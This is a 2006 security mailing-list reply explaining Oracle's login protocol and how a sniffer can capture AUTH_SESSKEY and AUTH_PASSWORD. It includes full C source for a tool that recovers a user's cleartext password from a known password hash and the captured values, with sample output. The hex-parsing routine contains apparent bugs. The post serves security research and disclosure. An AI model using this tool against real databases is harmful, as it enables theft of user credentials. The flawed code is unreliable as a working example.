[dbsec] Re: Sniffing Oracle authentications

  • From: "David Litchfield" <davidl@xxxxxxxxxxxxxxx>
  • To: <dbsec@xxxxxxxxxxxxx>
  • Date: Mon, 27 Nov 2006 14:05:11 -0000

Hi Hamid,

I was thinking about sniffing Oracle authentications out of network
traffic ,but
since long time ago I`ve not seen any implementation of such tool in public.
maybe the reason is the way Oracle switch client to new random port before
authentication . Although  simple sniffing won`t work for this case but
I guess
it`s not that hard to develop a smart sniffer that capture traffic on
1521 and
follow oracle to it`s new port , offered to client for authentication.

*maybe there is another issue about sniffing auth. info which I`m not
aware ?

Any comments , tools recommendations , URLs about this topic ?

Any number of network sniffers (tcpdump, ethereal, network monitior, ngssniff) will be able to capture authentication details - just set a filter on the relevant TCP port. One of the topics I fully discuss in the Oracle Hacker's Handbook (http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221/ ), due out in January 2007, is the authentication mechanism in Oracle. In brief though:

The server takes the supplied username and checks if it is a valid user. If it is not the server sends a "login denied" error to the client. We'll come back to this shortly. If the username does exist then the server extracts the user's password hash from the database. The server uses this hash to create a secret number. The secret number is created as follows: the server calls the slgdt() function in the orageneric library. This function essentially gets the system time. The minutes, hours, milliseconds and second, all stored as a WORD, are joined to form the 8 bytes of "text" to be encrypted. The first 4 bytes of the key to be used in the encryption is the minutes and hours xored with the last four bytes of the user's hex password hash; the last four bytes of the key are made up from the milliseconds and the seconds xored with the first 4 bytes of the user's hex password hash. This key is used to encrypt the text by calling the kzsrenc() function in the oracommon library. This function basically performs DES key scheduling using the lncgks() function and then uses the lncecb() function to output the cipher text using DES in ECB mode.

The cipher text produced here becomes the secret number. This secret number is then encrypted with the user's password hash, again using the kzsrenc() function and the result of this becomes the AUTH_SESSKEY. This is then sent over to the client.

On receiving the AUTH_SESSKEY the client must decrypt it to get out the secret number. The user creates a copy of their own password hash using the lncupw() function in the oracore library. This hash is then used as the key to decrypt the AUTH_SESSKEY by calling the kzsrdec() function. All things going well this should produce the secret number. This secret number is then used as a key to encrypt the user's clear text, case sensitive password by calling the kzsrenp() function. This function performs the DES key scheduling and encrypts the user's password in CBC mode. The cipher text is then sent back to the server as the AUTH_PASSWORD.

The server decrypts the AUTH_PASSWORD with the secret number used as the key by calling the kzsrdep() function in the oracommon library. The server now has a copy of the clear text password. The server then creates the password hash and compares it with the hash in the database. If they match the user is authenticated. Checks are then performed by the server to see if the user has the CREATE SESSION privilege and if so the user is given access to the database server.

What this means is that, if you have knowledge of the password hash stored in the database and can capture the AUTH_SESSKEY and the AUTH_PASSWORD then you can extract the trivially obtain the clear text password:

/*
C:\>cl /TC opass.c
C:\>opass E:\oracle\ora81\BIN\oracommon8.dll
 EED9B65CCECDB2E9
 DF0536A94ADEE746
 36A2CB576171FEAD

Secret is CEAF9C221915EC3E
Password is password

*/

#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
FARPROC kzsrdec = NULL;
FARPROC kzsrdep = NULL;
HANDLE oracommon = NULL;
unsigned char dll_path[260]="";
unsigned char hash[40]="";
unsigned char sess[40]="";
unsigned char pass[260]="";
unsigned char o[20]="";
unsigned char pwd[200]="";

if(argc!=5)
{
 printf("\n\t*** Oracle Password Revealer ***\n\n");
 printf("\tC:\\>%s ",argv[0]);
 printf("path_to_oracommon.dll ");
 printf("password_hash auth_sesskey ");
 printf("auth_password\n\n");
 printf("\tDavid Litchfield\n");
 printf("\tdavid@xxxxxxxxxxxxxxxxxxxx\n");
 printf("\t10th June 2006\n\n");
 return 0;
}

strncpy(dll_path,argv[1],256);
strncpy(hash,argv[2],36);
strncpy(sess,argv[3],36);
strncpy(pass,argv[4],256);

if(StringToHex(hash,1)==0)
 return printf("Error in the password hash.\n");

if(StringToHex(sess,1)==0)
 return printf("Error in the auth_sesskey.\n");

if(StringToHex(pass,0)==0)
 return printf("Error in the auth_password.\n");

oracommon = LoadLibrary(dll_path);
if(!oracommon)
 return printf("Failed to load %s\n",dll_path);

kzsrdec = GetProcAddress(oracommon,"kzsrdec");
if(!kzsrdec)
 return printf("No address for kzsrdec.\n");

kzsrdep = GetProcAddress(oracommon,"kzsrdep");
if(!kzsrdep)
 return printf("No address for kzsrdep.\n");

kzsrdec(sess,o,hash);

printf("\nSecret is %.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X\n",
 o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[7]);

kzsrdep(pwd,pass,strlen(pass),o);

printf("Password is %s\n",pwd);


return 0;
}

int StringToHex(char *str,int cnv)
{

unsigned int len = 0, c=0,i=0;
unsigned char a=0,b=0;
unsigned char tmp[12]="";

len = strlen(str);
if(len > 16)
 return 0;

while(c < len)
{
 a = str[c++];
 b = str[c++];
 if(a > 0x2F && a < 0x3A)
  a = a - 0x30;
 else if(a > 0x40 && a < 0x47)
  a = a - 0x37;
 else if(a > 0x60 && a < 0x67)
  a = a - 0x57;
 else
  return 0;

 if(b > 0x2F && b < 0x3A)
  b = b - 0x30;
 else if(b > 0x40 && a < 0x47)
  b = b - 0x37;
 else if(a > 0x60 && a < 0x67)
  b = b - 0x57;
 else
  return 0;

 a = a << 4;
 a = a + b;
 tmp[i]=a;
 i ++;
}

memset(str,0,len);
c=0;
if(cnv)
{
 while(c < 8)
 {
  str[c+0]=tmp[c+3];
  str[c+1]=tmp[c+2];
  str[c+2]=tmp[c+1];
  str[c+3]=tmp[c+0];
  c = c + 4;
 }
 return 1;
}
while(c < 8)
{
 str[c]=tmp[c];
 c = c ++;
}
return 1;
}

Cheers,
David Litchfield




Other related posts: